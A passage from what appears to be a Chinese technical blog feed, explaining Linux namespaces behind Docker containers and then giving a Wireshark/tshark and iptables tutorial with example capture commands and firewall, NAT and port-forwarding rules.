sudo ls -l /proc/$CONTAINER_PID/ns/pid # 或者 sudo readlink /proc/$CONTAINER_PID/ns/pid
    lrwxrwxrwx 1 root root 0 Sep 17 17:10 /proc/10086/ns/pid -&amp;gt; &apos;pid:[4025532233]&apos; # PID命名空间ID (本质是inode号)
sudo lsns -t pid -p $CONTAINER_PID
            NS TYPE NPROCS   PID USER COMMAND
    4025532233 pid       3 10086 root fwatchdog
# 进入容器的命名空间进行观察
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Mount Namespace —— 隔离的文件系统视图&lt;/h3&gt;
&lt;p&gt;Mount 命名空间为进程提供了一个独立的、隔离的文件系统挂载点视图。这是实现容器拥有自己根文件系统 (/) 的关键。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct path {
    struct vfsmount *mnt;    // 挂载点信息
    struct dentry *dentry;   // 目录项（含文件系统位置）
};
struct fs_struct {
    int users;               // 引用计数
    spinlock_t lock;         // 自旋锁
    struct path root;        // 该进程认为的根目录 &quot;/&quot;
    struct path pwd;         // 该进程的当前工作目录 &quot;.&quot;
};
struct task_struct {
    struct fs_struct *fs;    // 指向进程的文件系统视图
    struct nsproxy *nsproxy; // 指向进程所属的命名空间集合
    ...
};
struct nsproxy {
    struct mnt_namespace *mnt_ns; // 指向所属的 Mount Namespace
    // ... 指向其他类型的命名空间 (uts, ipc, net, pid, ...)
};
struct mnt_namespace {
    struct vfsmount *root;   // 该命名空间的根挂载点
    // ... 其他信息
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;chroot(&quot;/new_root&quot;) 进程级操作：仅修改了 &lt;code&gt;current-&amp;gt;fs-&amp;gt;root&lt;/code&gt;，只修改了虚假的根而挂载树没变，完全没有触碰 &lt;code&gt;current-&amp;gt;nsproxy-&amp;gt;mnt_ns&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;pivot_root(&quot;new_root&quot;, &quot;put_old&quot;) 命名空间级操作：直接作用于 Mount Namespace，修改文件系统挂载树，同时修改&lt;code&gt;current-&amp;gt;fs-&amp;gt;root&lt;/code&gt; 和 &lt;code&gt;current-&amp;gt;nsproxy-&amp;gt;mnt_ns-&amp;gt;root&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 查看容器进程的根目录链接到了哪里
sudo ls -l /proc/$CONTAINER_PID/root
    lrwxrwxrwx 1 root root 0 Sep 17 17:08 /proc/10086/root -&amp;gt; /home/username/MyDocker/my-rootfs
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 通过 nsenter 以容器的文件系统视角执行命令
sudo nsenter -t 25615 -m ls
sudo nsenter -t 25615 -m ps -ef
sudo nsenter -t 25615 -m top
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;UTS (Unix Time-sharing System) Namespace —— 隔离主机名和域名&lt;/h3&gt;
&lt;p&gt;UTS 命名空间的核心且唯一的功能就是：隔离 hostname (主机名) 和 domainname (NIS 域名)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;身份标识: 主机名是网络中一台计算机最基本的身份标识。对于容器来说，拥有一个独立的主机名，而不是继承宿主机的名字，对于服务发现、日志记录、配置管理和网络识别都至关重要。它让容器在逻辑上看起来更像一台独立的机器。&lt;/li&gt;
&lt;li&gt;配置隔离: 许多应用程序和服务在启动时会读取系统的主机名来生成默认配置、注册自己或进行其他初始化操作。UTS 命名空间确保了容器内的应用获取到的是容器专属的主机名，从而避免了配置混乱。&lt;/li&gt;
&lt;li&gt;满足应用期望: 一些软件被设计为在独立的主机上运行。UTS 命名空间满足了这些软件的运行环境期望，使得它们可以无缝地被容器化。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;User Namespace —— 隔离的用户与权限&lt;/h3&gt;
&lt;p&gt;隔离用户和组ID + 隔离权能 (Capabilities)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每个进程的cred结构体都明确地指向它所属的 User 命名空间。当一个进程尝试执行任何需要权限检查的操作时，内核会查看它的cred，并特别是它所属的user_ns，来决定这个操作是否被允许。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// include/linux/user_namespace.h
struct user_namespace {
    struct uid_gid_map uid_map;    // UID 映射规则
    struct uid_gid_map gid_map;    // GID 映射规则
    struct user_namespace *parent; // 父命名空间
    unsigned int level;            // 命名空间层级深度
    kuid_t owner;                  // 创建者用户ID
    kgid_t group;                  // 创建者组ID
    struct ns_common ns;           // 命名空间公共结构
    struct work_struct work;       // 异步工作队列
    struct ucounts *ucounts;       // 资源计数器
    // ... 其他字段（能力集、进程限制等）
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;docker 的 默认行为其实是不做 User Namespace 映射的（）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt; ~/&amp;gt; sudo ls -l /proc/10086/ns/
total 0
lrwxrwxrwx 1 root root 0 Sep 18 15:55 cgroup -&amp;gt; &apos;cgroup:[4026532361]&apos; # new
lrwxrwxrwx 1 root root 0 Sep 18 15:55 ipc -&amp;gt; &apos;ipc:[4026532359]&apos; # new
lrwxrwxrwx 1 root root 0 Sep 18 15:55 mnt -&amp;gt; &apos;mnt:[4026532357]&apos; # new
lrwxrwxrwx 1 root root 0 Sep 18 15:55 net -&amp;gt; &apos;net:[4026532362]&apos; # new
lrwxrwxrwx 1 root root 0 Sep 18 15:55 pid -&amp;gt; &apos;pid:[4026532360]&apos; # new
lrwxrwxrwx 1 root root 0 Sep 18 15:56 pid_for_children -&amp;gt; &apos;pid:[4026532360]&apos; # new
lrwxrwxrwx 1 root root 0 Sep 18 15:56 time -&amp;gt; &apos;time:[4026531834]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:56 time_for_children -&amp;gt; &apos;time:[4026531834]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:56 user -&amp;gt; &apos;user:[4026531837]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:55 uts -&amp;gt; &apos;uts:[4026532358]&apos; # new
 ~/&amp;gt; sudo ls -l /proc/1/ns/
total 0
lrwxrwxrwx 1 root root 0 Sep 18 15:16 cgroup -&amp;gt; &apos;cgroup:[4026531835]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:16 ipc -&amp;gt; &apos;ipc:[4026532206]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:16 mnt -&amp;gt; &apos;mnt:[4026532217]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:16 net -&amp;gt; &apos;net:[4026531840]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:16 pid -&amp;gt; &apos;pid:[4026532219]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:16 pid_for_children -&amp;gt; &apos;pid:[4026532219]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:16 time -&amp;gt; &apos;time:[4026531834]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:16 time_for_children -&amp;gt; &apos;time:[4026531834]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:16 user -&amp;gt; &apos;user:[4026531837]&apos;
lrwxrwxrwx 1 root root 0 Sep 18 15:16 uts -&amp;gt; &apos;uts:[4026532218]&apos;
# P.S. docker 的 默认行为是不做 User Namespace 映射的（）
# 对开启 User Namespace 的容器，当容器内的root进程（在宿主机上其实是UID 1001）尝试写入 /host/data 时，它会因为权限不足而被拒绝 (Permission Denied)，因为它不是文件所有者。
# 为了解决这个问题，Docker Daemon 必须采取一个非常暴力的措施：它会自动递归 chown 挂载点目录，将其在宿主机上的所有权递归地修改为那个映射后的高编号 UID (1001)
# 1. 性能雪崩: 对于包含大量文件的数据卷，执行 chown -R 是一个极其缓慢的操作，它会大大延长容器的启动时间。
# 2. 破坏宿主机权限: 原本属于你普通用户（UID 1000）的 /host/data 目录，现在被改成了 UID 1001 用户所有。你自己在宿主机上无法访问这些文件了！ 这是一个非常糟糕且出乎意料的副作用，对于开发者来说是不可接受的。 一些特定的用户才能访问的硬件设备（如USB），在启用了 User Namespace 后，容器内的非特权用户可能无法获得访问这些设备的权限。
# 4. 性能开销: 每次文件操作需查询映射表 `/proc/&amp;lt;pid&amp;gt;/uid_map` ，进行一次 UID/GID 的转换

## 结论就是：Docker 将 “开箱即用的易用性” 和 “最大的向后兼容性” 放在了比 “默认的最高安全性” 更高的优先级上。

sudo lsns
        NS TYPE   NPROCS   PID USER             COMMAND
4026531834 time      103     1 root             /sbin/init
4026531835 cgroup    102     1 root             /sbin/init
4026531837 user      102     1 root             /sbin/init
4026531840 net       101     1 root             /sbin/init
4026532206 ipc       102     1 root             /sbin/init
4026532217 mnt        97     1 root             /sbin/init
4026532218 uts        99     1 root             /sbin/init
4026532219 pid       102     1 root             /sbin/init
4026532220 mnt         1    93 root             /lib/systemd/systemd-udevd
4026532221 uts         1    93 root             /lib/systemd/systemd-udevd
4026532222 mnt         1   191 systemd-network  /lib/systemd/systemd-networkd
4026532223 mnt         1   221 systemd-timesync /lib/systemd/systemd-timesyncd
4026532224 mnt         1   285 systemd-resolve  /lib/systemd/systemd-resolved
4026532225 uts         1   221 systemd-timesync /lib/systemd/systemd-timesyncd
4026532228 net         1   696 rtkit            /usr/libexec/rtkit-daemon
4026532285 uts         1   307 root             /lib/systemd/systemd-logind
4026532286 mnt         1   307 root             /lib/systemd/systemd-logind
4026531856 user        1 50315 root             /bin/sh
4026532357 mnt         1 50315 root             /bin/sh
4026532358 uts         1 50315 root             /bin/sh
4026532359 ipc         1 50315 root             /bin/sh
4026532360 pid         1 50315 root             /bin/sh
4026532361 cgroup      1 50315 root             /bin/sh
4026532262 net         1 50315 root             /bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Network Namespace&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo nsenter -t 25615 -n ip addr
sudo nsenter -t 25615 -m -n ping 8.8.8.8 -c 1 # 没有 -n 将会使用宿主机的网络命名空间，这一点可以通过 tshark 证明
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Q &amp;amp; A:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Q1: 为什么我不能通过docker隔离不同版本的驱动程序
&lt;ul&gt;
&lt;li&gt;A1: 驱动通过硬件描述信息初始化之后就是一个内存中的程序，感觉可以做隔离，但别忘了内核是共享的，这个内存其实是内核空间中的内存，常见的驱动是一种​​内核模块​​。docker 本质是 &lt;strong&gt;​​共享单一宿主机内核&lt;/strong&gt;​ ​的进程隔离环境。设备驱动是暴露read()write()ioctl()等接口供容器使用的，容器就一个用户空间的沙盒，没有驱动这一说。所以哪怕是--privileged，insmod也是到宿主机上，容器什么都没有&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>WireShark</title><link>https://blog.alinche.dpdns.org/posts/net/wireshark/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/net/wireshark/</guid><description>WireShark &amp; iptables</description><pubDate>Mon, 01 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;WireShark&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install wireshark tshark
# sudo dpkg-reconfigure wireshark-common # Yes
sudo usermod -aG wireshark $USER

	
sudo chgrp wireshark /usr/bin/dumpcap
sudo chmod 750 /usr/bin/dumpcap
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

tshark -D # 列出可用网络接口
	
tshark -i eth0 -w output.pcap
tshark -r output.pcap         # 读取和分析已保存的抓包文件
tshark -r output.pcap -Y &quot;ip.src == 192.168.1.100 and ip.dst == 192.168.1.102 and tcp.port == 80&quot;

tshark -i eth0 -f &quot;tcp port 80 and (src host 192.168.1.100 or src host 192.168.1.102)&quot;
tshark -i eth0 -f &quot;tcp port 80 and src net 192.168.1.0/24&quot;
tshark -i eth0 -Y &quot;http&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;iptables&lt;/h2&gt;
&lt;p&gt;在 Linux 运维和网络安全，虽然现在有了 Firewalld 甚至 eBPF 等新技术，但 iptables 依然是底层逻辑的基石&lt;/p&gt;
&lt;h3&gt;四表五链核心概念&lt;/h3&gt;
&lt;p&gt;首先需要明确一点：&lt;strong&gt;iptables只是用户空间的一个管理工具&lt;/strong&gt;，&lt;strong&gt;真正的防火墙功能是由内核中的 &lt;code&gt;netfilter&lt;/code&gt; 实现&lt;/strong&gt;的。iptables 的作用就是帮我们在 Netfilter 上“挂”规则。&lt;/p&gt;
&lt;h4&gt;五链（Chains）：数据包的必经关卡&lt;/h4&gt;
&lt;p&gt;五个链对应着数据包在Linux网络栈中传输路径上的五个关键&quot;钩子点&quot;（&lt;code&gt;hook points&lt;/code&gt;），相当于数据包必须经过的五道关卡：
&lt;img src=&quot;images/5chains.png&quot; alt=&quot;chains&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;PREROUTING链&lt;/strong&gt;：数据包刚进入网络接口后，但在路由判断之前的阶段。这里是进行DNAT（目标地址转换）的理想位置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INPUT链&lt;/strong&gt;：当数据包经过路由判断，发现目标是本机系统时，就会进入INPUT链。这是&lt;strong&gt;最常用的过滤点&lt;/strong&gt;，用于控制进入本机应用程序的数据包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FORWARD链&lt;/strong&gt;：当数据包需要经过本机转发到其他机器时（本机作为路由器或网关），会经过FORWARD链。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OUTPUT链&lt;/strong&gt;：处理本机进程产生的、准备发送到外部的数据包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;POSTROUTING链&lt;/strong&gt;：在数据包离开本机之前的最后阶段，这里是进行SNAT（源地址转换）的理想位置。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;四表（Tables）：规则的功能分类&lt;/h4&gt;
&lt;p&gt;四个表是按照&lt;strong&gt;功能优先级&lt;/strong&gt;组织的规则集合，每个表包含不同的链：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;表名&lt;/th&gt;
&lt;th&gt;优先级&lt;/th&gt;
&lt;th&gt;主要功能&lt;/th&gt;
&lt;th&gt;包含的链&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;raw表&lt;/td&gt;
&lt;td&gt;最高（1）&lt;/td&gt;
&lt;td&gt;决定是否跳过连接跟踪机制&lt;/td&gt;
&lt;td&gt;PREROUTING, OUTPUT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;mangle表&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;修改数据包头部信息（TTL、TOS等）&lt;/td&gt;
&lt;td&gt;所有五个链&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;nat表&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;网络地址转换（SNAT、DNAT）&lt;/td&gt;
&lt;td&gt;PREROUTING, INPUT, OUTPUT, POSTROUTING&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;filter表&lt;/td&gt;
&lt;td&gt;最低（4）&lt;/td&gt;
&lt;td&gt;过滤数据包（允许/拒绝）&lt;/td&gt;
&lt;td&gt;INPUT, FORWARD, OUTPUT&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;iptables四表的优先级和功能对比&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;filter表&lt;/strong&gt;是最常用的表，负责基本的包过滤功能，是iptables的默认表（当不指定&lt;code&gt;-t&lt;/code&gt;参数时）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;nat表&lt;/strong&gt;专用于网络地址转换，包括端口转发、地址伪装等功能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mangle表&lt;/strong&gt;用于高级包处理，如修改包头部信息，通常在日常管理中使用较少。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;raw表&lt;/strong&gt;用于处理不需要连接跟踪的数据包，可提升高性能场景下的处理效率。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;数据包在 iptables 中的完整处理流程&lt;/h3&gt;
&lt;h4&gt;1 入站数据包（目标为本机）&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;物理网卡接收&lt;/strong&gt; → &lt;strong&gt;PREROUTING链&lt;/strong&gt;（raw → mangle → nat）&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;路由判断&lt;/strong&gt;（识别数据包目标是本机）&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;INPUT链&lt;/strong&gt;（mangle → nat → filter）&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;本地进程处理&lt;/strong&gt;
&lt;em&gt;这是一个外部用户访问本机Web服务的典型路径。&lt;/em&gt; 在PREROUTING链中，主要进行的是连接跟踪和可能的DNAT处理；而在INPUT链中，主要进行的是过滤决策。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2 转发数据包（经本机路由）&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;物理网卡接收&lt;/strong&gt; → &lt;strong&gt;PREROUTING链&lt;/strong&gt;（raw → mangle → nat）&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;路由判断&lt;/strong&gt;（识别数据包需要转发到其他主机）&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;FORWARD链&lt;/strong&gt;（mangle → filter）&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;POSTROUTING链&lt;/strong&gt;（mangle → nat）&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;发送到目标主机&lt;/strong&gt;
&lt;em&gt;这是路由器或网关设备的典型数据流。&lt;/em&gt; 需要注意的是，在FORWARD链中，只有mangle表和filter表参与处理，因为转发的数据包通常不需要在转发过程中进行NAT处理（NAT一般在PREROUTING或POSTROUTING阶段完成）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;3 出站数据包（本机进程产生）&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;本地进程产生数据&lt;/strong&gt; → &lt;strong&gt;路由判断&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;OUTPUT链&lt;/strong&gt;（raw → mangle → nat → filter）&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;POSTROUTING链&lt;/strong&gt;（mangle → nat）&lt;/li&gt;
&lt;li&gt;→ &lt;strong&gt;物理网卡发送&lt;/strong&gt;
&lt;em&gt;这是本机应用程序访问外部服务的典型路径。&lt;/em&gt; 在OUTPUT链中，数据包会经过所有四个表的处理，这是最复杂的路径。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;4 优先级决定处理顺序&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;表的处理顺序是固定的&lt;/strong&gt;：raw → mangle → nat → filter。这一顺序是由数据包处理流程的内在逻辑决定的。&lt;/p&gt;
&lt;p&gt;以PREROUTING链为例，当一个数据包进入时：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;首先由raw表处理（决定是否跳过连接跟踪）&lt;/li&gt;
&lt;li&gt;然后由mangle表处理（修改包头部信息）&lt;/li&gt;
&lt;li&gt;最后由nat表处理（目标地址转换）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;这个顺序很重要&lt;/strong&gt;！我曾经遇到一个案例：在filter表中写了规则拒绝某个IP，但在nat表中又写了DNAT规则转发同一IP的请求。结果发现DNAT规则生效了，因为nat表的优先级比filter表高，数据包在到达filter表之前就被转发了。&lt;/p&gt;
&lt;h3&gt;3 iptables命令语法与使用详解&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 基本命令格式：
iptables [-t 表名] 命令选项 [链名] [匹配条件] [-j 目标动作]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1 命令管理选项&lt;/h4&gt;
&lt;p&gt;管理选项决定了操作类型，常用的有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;规则管理选项&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-A --append&lt;/code&gt; 在链末尾追加规则&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-I --insert&lt;/code&gt; 在指定位置插入规则（默认为链首）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-D --delete&lt;/code&gt; 删除指定规则&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-R --replace&lt;/code&gt; 替换指定规则&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;链管理选项&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-N --new-chain&lt;/code&gt; 创建用户自定义链&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-X --delete-chain&lt;/code&gt; 删除用户自定义链&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-F --flush&lt;/code&gt; 清空链中所有规则&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-L --list&lt;/code&gt; 列出链中规则&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-P --policy&lt;/code&gt; 设置链的默认策略&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;其他实用选项&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-n --numeric&lt;/code&gt; 以数字形式显示IP和端口&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v --verbose&lt;/code&gt; 显示详细信息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--line-numbers&lt;/code&gt; 显示规则编号&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2 匹配条件参数&lt;/h4&gt;
&lt;p&gt;匹配条件用于筛选要处理的数据包，可分为基本匹配和扩展匹配。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基本匹配条件&lt;/strong&gt;（常用且无需加载模块）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-s --source&lt;/code&gt;：匹配源IP地址或网段（如 &lt;code&gt;-s 192.168.1.100&lt;/code&gt; 或 &lt;code&gt;-s 192.168.1.0/24&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-d --destination&lt;/code&gt;：匹配目标IP地址或网段&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p --protocol&lt;/code&gt;：匹配协议类型（tcp、udp、icmp等）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-i --in-interface&lt;/code&gt;：匹配数据包进入的网络接口&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-o --out-interface&lt;/code&gt;：匹配数据包发出的网络接口&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;扩展匹配条件&lt;/strong&gt;（需用&lt;code&gt;-m&lt;/code&gt;指定模块）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-m tcp --dport&lt;/code&gt;：匹配TCP目标端口（如 &lt;code&gt;-p tcp -m tcp --dport 80&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-m tcp --sport&lt;/code&gt;：匹配TCP源端口&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-m state --state&lt;/code&gt;：匹配连接状态（NEW、ESTABLISHED、RELATED、INVALID）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-m multiport --dports&lt;/code&gt;：匹配多个不连续端口（如 &lt;code&gt;--dports 80,443,8080&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-m limit --limit&lt;/code&gt;：限制匹配速率（如 &lt;code&gt;--limit 5/minute&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3 目标动作（-j参数）&lt;/h4&gt;
&lt;p&gt;当数据包匹配规则时，需要指定要执行的动作：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ACCEPT&lt;/strong&gt;：允许数据包通过，继续后续处理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DROP&lt;/strong&gt;：直接丢弃数据包，不发送任何响应&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;REJECT&lt;/strong&gt;：拒绝数据包，并向发送端返回错误响应&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LOG&lt;/strong&gt;：将数据包信息记录到系统日志，然后继续匹配后续规则&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNAT&lt;/strong&gt;：目标地址转换，用于端口转发或负载均衡&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SNAT&lt;/strong&gt;：源地址转换，用于共享上网&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MASQUERADE&lt;/strong&gt;：动态SNAT，适用于动态获取IP的场景&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RETURN&lt;/strong&gt;：从当前链返回调用链继续处理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;iptables实战配置场景&lt;/h3&gt;
&lt;h4&gt;场景〇：保存&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# iptables规则是在内存中的，重启后会丢失。持久化方法因发行版而异
sudo apt install iptables-persistent
netfilter-persistent save
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;场景一：基础Web服务器防火墙配置&lt;/h4&gt;
&lt;p&gt;对于一台暴露在公网的Web服务器，安全配置是首要任务。以下是推荐配置步骤：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 0. 清空所有现有规则，从零开始
# iptables -F
# iptables -t nat -F
# iptables -t mangle -F

# 1. 设置默认策略（谨慎操作！）
iptables -P INPUT DROP      # 默认拒绝所有入站连接
iptables -P FORWARD DROP    # 默认拒绝所有转发
iptables -P OUTPUT ACCEPT   # 允许所有出站连接

# 2. 允许本地回环接口，许多本地服务依赖它
iptables -A INPUT -i lo -j ACCEPT

# 3. 允许已建立连接和关联连接的通话（避免断开现有会话）
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 4. 开放SSH远程管理端口（建议限制源IP以提高安全性）
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# 7. 开放Web服务端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT    # HTTP
iptables -A INPUT -p tcp --dport 443 -j ACCEPT   # HTTPS

# 8. 允许ICMP（ping请求）便于网络诊断
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;此配置创建了一个&lt;strong&gt;白名单模型&lt;/strong&gt;的防火墙，只有明确允许的服务才能访问。&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;场景二：NAT网关共享上网&lt;/h4&gt;
&lt;p&gt;将Linux服务器配置为NAT网关，让内网设备通过它共享上网：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 启用IP转发功能
sudo vim /etc/sysctl.conf # 取消注释 #net.ipv4.ip_forward=1
echo &apos;net.ipv4.ip_forward = 1&apos; | sudo tee -a /etc/sysctl.conf
echo &apos;net.ipv6.conf.all.forwarding = 1&apos; | sudo tee -a /etc/sysctl.conf

# 2. 在nat表的POSTROUTING链设置地址伪装（SNAT）
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j MASQUERADE

# 3. 在filter表允许内网到外网的转发
iptables -A FORWARD -s 192.168.1.0/24 -o eth0 -j ACCEPT

# 4. 允许外网返回数据的转发
iptables -A FORWARD -d 192.168.1.0/24 -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;此处&lt;code&gt;MASQUERADE&lt;/code&gt;是&lt;code&gt;SNAT&lt;/code&gt;的特殊形式，适用于动态获取公网IP的场景（如PPPoE拨号）。&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;场景三：端口转发（DNAT）&lt;/h4&gt;
&lt;p&gt;将公网IP的端口转发到内网服务器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 将本机8080端口的访问转发到内网服务器192.168.1.100的80端口
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.100:80

# 同时需要允许转发的数据包通过
iptables -A FORWARD -d 192.168.1.100 -p tcp --dport 80 -j ACCEPT
iptables -A FORWARD -s 192.168.1.100 -p tcp --sport 80 -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;这种配置常用于将一台公网服务器作为多个内网服务的入口网关。&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;场景四：高级流量控制&lt;/h4&gt;
&lt;p&gt;结合mangle表和limit模块进行高级流量控制：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 限制ICMP(ping)请求频率，防止洪水攻击
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

# 2. 为特定端口的流量设置DSCP标记（QoS）
iptables -t mangle -A OUTPUT -p tcp --dport 80 -j DSCP --set-dscp 46

# 3. 使用connlimit模块限制每IP的SSH连接数
